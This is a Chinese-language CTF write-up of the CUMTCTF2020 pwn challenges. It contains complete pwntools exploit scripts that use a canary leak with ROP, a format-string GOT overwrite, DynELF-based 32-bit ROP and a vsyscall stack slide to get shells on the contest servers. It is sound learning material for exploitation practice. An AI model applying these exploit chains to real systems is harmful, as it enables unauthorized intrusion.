狗儿

热爱的话就坚持吧~

0%

CUMTCTF2020 PWN做题记录

比赛过程中出现了好多pwn神仙。我才做了3道pwn的时候,师傅们就已经ak当时放出的全部6道题目了。

果然要记得时时刻刻都要保持卑微的心态不断学习啊,菜弟弟iyzyi。

以及:鼎哥yyds!我爱丁格尔!

test_nc

男孩子拿到假的flag

image-20200923132605091

女孩子拿到qq号和验证问题的答案

image-20200923132640000

利用社工的技巧,伪装成可爱的女孩子,向鼎哥(出题人)索要flag

QQ图片20200923132820

QQ图片20200923230620

babystack

image-20200923132932266

鼎哥夹带私货,输入1_love_y0u即可拿到shell

image-20200923133015440

羡慕啊,为啥我出的逆向题就没有安排上这种输入1_love_y0u的彩蛋呢??

canary

image-20200924020023036

之前在鼎哥的博客看过canary的博文。原理就是canary的最低位一定是\x00,由于小端,最低位在低地址。所以输入字符串的时候,先覆盖\x00,再覆盖次低位。

puts函数遇到\x00停止,gets遇到\x0a,即\n停止。

注意,gets函数不会被输入的\x00截断。

本题中,输入长度为0x40 - 0x8的字符串后,栈内的下一个元素就是canary,然后最后一个回车符刚好把canary的最低位的\x00覆盖掉。从而puts不会被截断,会输出canary,实现了canary的泄露。不过记得把泄露的数值减去0xa(最低位是换行符0xa)。

image-20200923141027416

image-20200923141046255

拿到canary后,我们就可以正常利用栈溢出了。

鼎哥给了一个后门函数,但是system的参数是Pwn is very eeeeeeasy!,这个字符串位于rodata,只读。

image-20200924020457179

鼎哥疯狂暗示很简单,但我还是没想明白怎么搞的,想了好久,最后用的ROP自己构造了system(‘/bin/sh’)。赛后问问鼎哥预期解吧。

脚本是python3的哈。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context.log_level = 'debug'

p = remote('202.119.201.197', 10004)
#p = process('./canary')
#p = gdb.debug('./canary', 'b *0x4007F9')

p.recv()
payload = b'a' * (0x40 - 0x8)
p.sendline(payload)
p.recvuntil(b'a' * (0x40 - 0x8))
canary = u64(p.recv(8)) - 0xa
print(hex(canary))
ebp = u64(p.recv(6) + b'\x00\x00')
print(hex(ebp))


system_addr = 0x4005F0
pop_rdi_ret = 0x4008e3 # pop rdi ; ret
read_got = 0x601038
ppppppr = 0x4008DA
mmmc = 0x4008C0
bss_addr = 0x601060

payload = b'a' * (0x40 - 0x8) + p64(canary) + b'b' * 8
payload += p64(ppppppr) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(bss_addr) + p64(0)
payload += p64(mmmc)
payload += b'c' * 8 * (6 + 1)
payload += p64(pop_rdi_ret) + p64(bss_addr)
payload += p64(system_addr)

p.sendline(payload)
sleep(5) # 一定要加个延时,不然/bin/sh打不进ROP中构造的read函数的缓冲区内
p.sendline(b'/bin/sh\x00')
p.recvline()

p.interactive()

image-20200924015832977

这题一堆神仙很早就做出来了,也不知道是怎么做出来的,是我想麻烦了吗?

以下是周四(比赛第二天)算法课遇到楠姐和炜昊后的补充

楠姐和炜昊和我说,有个sh字符串的。。。。。我人都傻了。

一开始我搜过字符串,没找到/bin/sh。strings里面也没有sh这个字符串。原因很简单,长度小于4的字符串不会显示在strings窗口内。

image-20200924143410473

下次搜sh还是在hex窗口内吧,保险点。

预期解的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.log_level = 'debug'

p = remote('202.119.201.197', 10004)
#p = process('./canary')
#p = gdb.debug('./canary', 'b *0x4007F9')

p.recv()
payload = b'a' * (0x40 - 0x8)
p.sendline(payload)
p.recvuntil(b'a' * (0x40 - 0x8))
canary = u64(p.recv(8)) - 0xa
print(hex(canary))

sh_addr = 0x400904
pop_rdi_ret = 0x00000000004008e3 # pop rdi ; ret
system_addr = 0x400742

payload = b'a' * (0x40 - 0x8) + p64(canary) + b'b' * 8
payload += p64(pop_rdi_ret) + p64(sh_addr) + p64(system_addr)

p.sendline(payload)
p.recvline()

p.interactive()

fmstr

调轮子看栈内偏移,然后调轮子构造payload。

我爱轮子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
'''
from pwn import *
context.log_level = 'debug'

def exec_fmt(payload):
p = process("./fmstr")
p.sendline(payload)
info = p.recv()
p.close()
return info

autofmt = FmtStr(exec_fmt)
print autofmt.offset
#脚本输出为8
'''


from pwn import *
context.log_level = 'debug'

#p = process("./fmstr")
p = remote('202.119.201.197', 10006)
elf = ELF('./fmstr')
gets_got_addr = elf.got['gets'] # 0x804A014
#system_plt_addr = elf.plt['system']
get_shell = 0x804857D

p.recvuntil('name:')

payload = fmtstr_payload(8, {gets_got_addr: get_shell})
'''
payload = 'A' * 0x10 + '/bin/sh\x00'
payload += ('%244c%24$hhn' + '%117c%25$hhn' + '%1032c%26$hn').ljust(40, 'B')
payload += p32(gets_got_addr + 3) + p32(gets_got_addr) + p32(gets_got_addr + 1)
# 0x8 0x7d 0x485
'''

p.sendline(payload)


p.recvuntil('problem ! ')
#p.sendline('asdf')
p.interactive()

一开始fmtstr_payload这个轮子的payload没打成功,我被迫手动构造payload。因为太菜,构造失败了,很灰心。没想到此时再次运行一次轮子构造的payload,居然成功了。

一个字,菜。

注释就先不删了,有时间再手动构造一次试试。

image-20200923225949033

babyrop

32位rop,算是比较基础的吧。开了NX。和xctf的pwn-200有异曲同工之妙。

但是我还是调了一个多小时,菜!!!

一个比较坑的点在于我一开始没通过三个连续的pop将read的三个参数弹出栈。

因为这是x86,参数在栈中,如果不手动弹出这三个参数的话,根本不会ret到ROP链中的设置的返回地址处。

x64不需要手动弹出参数,是因为参数是在寄存器中呀~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context.log_level = 'debug'

p = process('./babyrop')
p = remote('202.119.201.197', 10001)
#p = gdb.debug('./babyrop', 'b *0x8048544')

read_plt = 0x8048390
write_plt = 0x80483C0
main_addr = 0x804854E
bss_addr = 0x804A040
pppr = 0x08048609 # pop esi ; pop edi ; pop ebp ; ret


def leak(address):
p.recvuntil('say:')
payload = 'A' * 0x6c + 'B' * 4
payload += p32(write_plt) + p32(main_addr) + p32(1) + p32(address) + p32(4)
p.send(payload)
r = p.recv(4)
print(r)
return r

d = DynELF(leak, elf=ELF('./babyrop'))
system_addr = d.lookup('system', 'libc')
print 'system_addr : ' + hex(system_addr)


p.recvuntil('say:')
payload = 'A' * 0x6c + 'B' * 4
payload += p32(read_plt) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8) # pppr is used for pop 3 params
payload += p32(system_addr) + p32(0xdeadbeef) + p32(bss_addr) # 0xdeadbeef is a no-used return address
p.sendline(payload)
#sleep(3)
p.sendline('/bin/sh\x00')

p.interactive()

image-20200923225923359

backdoor_again

琢磨了两个小时,发现一个问题:弟弟我不会。

不过听说是原题?

网上搜了波题解,学到了没接触过的新知识。

好题,能学到新东西的题目就是好题~

image-20200924151207140

开了aslr和nx,想利用got泄露基址,却发现开着full relro,这个保护我以前没接触过,不过听说是不让你修改got表。

没开canary。

开了pie,但是没开canary的时候,vsyscall 滑栈是一个很好用的东西。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.log_level = 'debug'
file_name = './backdoor_again'

#p = process(file_name)
p = remote('202.119.201.197', 10003)

syscall_vgettimeofday = 0xffffffffff600000

payload = 'A' * 0x30 + 'B' * 0x8
payload += p64(syscall_vgettimeofday) * 4
payload += p8(0xa8)

p.recvuntil('stackoverflow')
p.send(payload)
p.interactive()

image-20200924152200975

下面说下原理。

main函数是这样的:

image-20200924153106270

随机数是无法绕过的。同时由于开了保护,无法泄漏基址,因而无法跳转道system处。

但是,很容易想到,由于system(“/bin/sh”)函数位于main函数内,所以内存中system(“/bin/sh”)的地址一定和main函数的内存中的基址类似,只是偏移了一点而已。

正常输入后,ret时,栈内的情况是这样的:

image-20200924152944081

距离栈顶(此时为ret的目标地址)偏移为4(第5个qword)处,是main的地址,为0x555555554a80

image-20200924154449593

所以此时system(“/bin/sh”)的内存中的基址一定是0x555555554aa8.

所以输入的时候可以覆盖栈中的main的地址的低位,将0x80覆盖成0xa8,即实现了0x555555554a80 -> 0x555555554aa8

image-20200924154326694

上图是覆盖后的(由于是两次运行程序并截图,所以基址也是不同的,大家理解就行)

但是,你这个覆盖后的地址又不在ret处,怎么可能跳转执行呢?

所以就牵扯到了vsyscall 滑栈。

我复述的肯定不如师傅讲的好,所以直接粘贴吧。

以下均转自利用vsyscall/vsdo技术bypass PIE

没有开启pie的程序每一次基地址都是固定,(例如 64位下都是0x400000)

开启后地址会随机变换,但是有一个函数的地址不会改变

现代的Windows/*Unix操作系统都采用了分级保护的方式,内核代码位于R0,用户代码位于R3。许多对硬件和内核等的操作都会被包装成内核函数并提供一个接口给用户层代码调用,这个接口就是我们熟知的int 0x80/syscall+调用号模式。当我们每次调用这个接口时,为了保证数据的隔离,我们需要把当前的上下文(寄存器状态等)保存好,然后切换到内核态运行内核函数,然后将内核函数返回的结果放置到对应的寄存器和内存中,再恢复上下文,切换到用户模式。这一过程需要耗费一定的性能。对于某些系统调用,如gettimeofday来说,由于他们经常被调用,如果每次被调用都要这么来回折腾一遍,开销就会变成一个累赘。因此系统把几个常用的无参内核调用从内核中映射到用户空间中,这就是vsyscall

总之,系统虽然开启了PIE,但考虑到性能方面,还是决定牺牲一部分安全性,把几个常用的无参内核调用从内核中映射到用户空间中,这就是vsyscall

image-20200924154810269

几个常用的无参内核调用加起来就是vsyscall,所以vsyscall中就包含有若干个syscall汇编语句,但是我们不能直接跳转到这里,因为vsyscall执行时会检查,如果不是从函数开头开始执行就会crash,因此我们可以选择0xffffffffff600000, 0xffffffffff600400, 0xffffffffff600800这三个地址

滑动绕过pie

由于这三个系统调用都是无参的,而且地址固定,这样我们就得到一个地址固定的返回地址,而且不用考虑栈平衡,通过retn自动执行下一个返回地址,这样就可以一直滑到输入点buf之后的任意地址并进行写入。

看完师傅的描述,思路应该比较清晰:栈溢出到ret处,从ret到栈中存储main地址的空间之间,都填充0xffffffffff600000(可以理解成无参函数,运行完自动ret到栈中的下一地址处),一直滑栈,直到滑到包含main地址的某个空间,覆盖低字节,得到main函数内的system(‘/bin/sh’)的真实地址,ret到system(‘/bin/sh’),拿到shell。

这里为啥必须要滑栈一直滑到包含main的地址的位置处呢?因为system(‘/bin/sh’)在main函数内部,覆盖低字节,可以拿到system(‘/bin/sh’)的地址。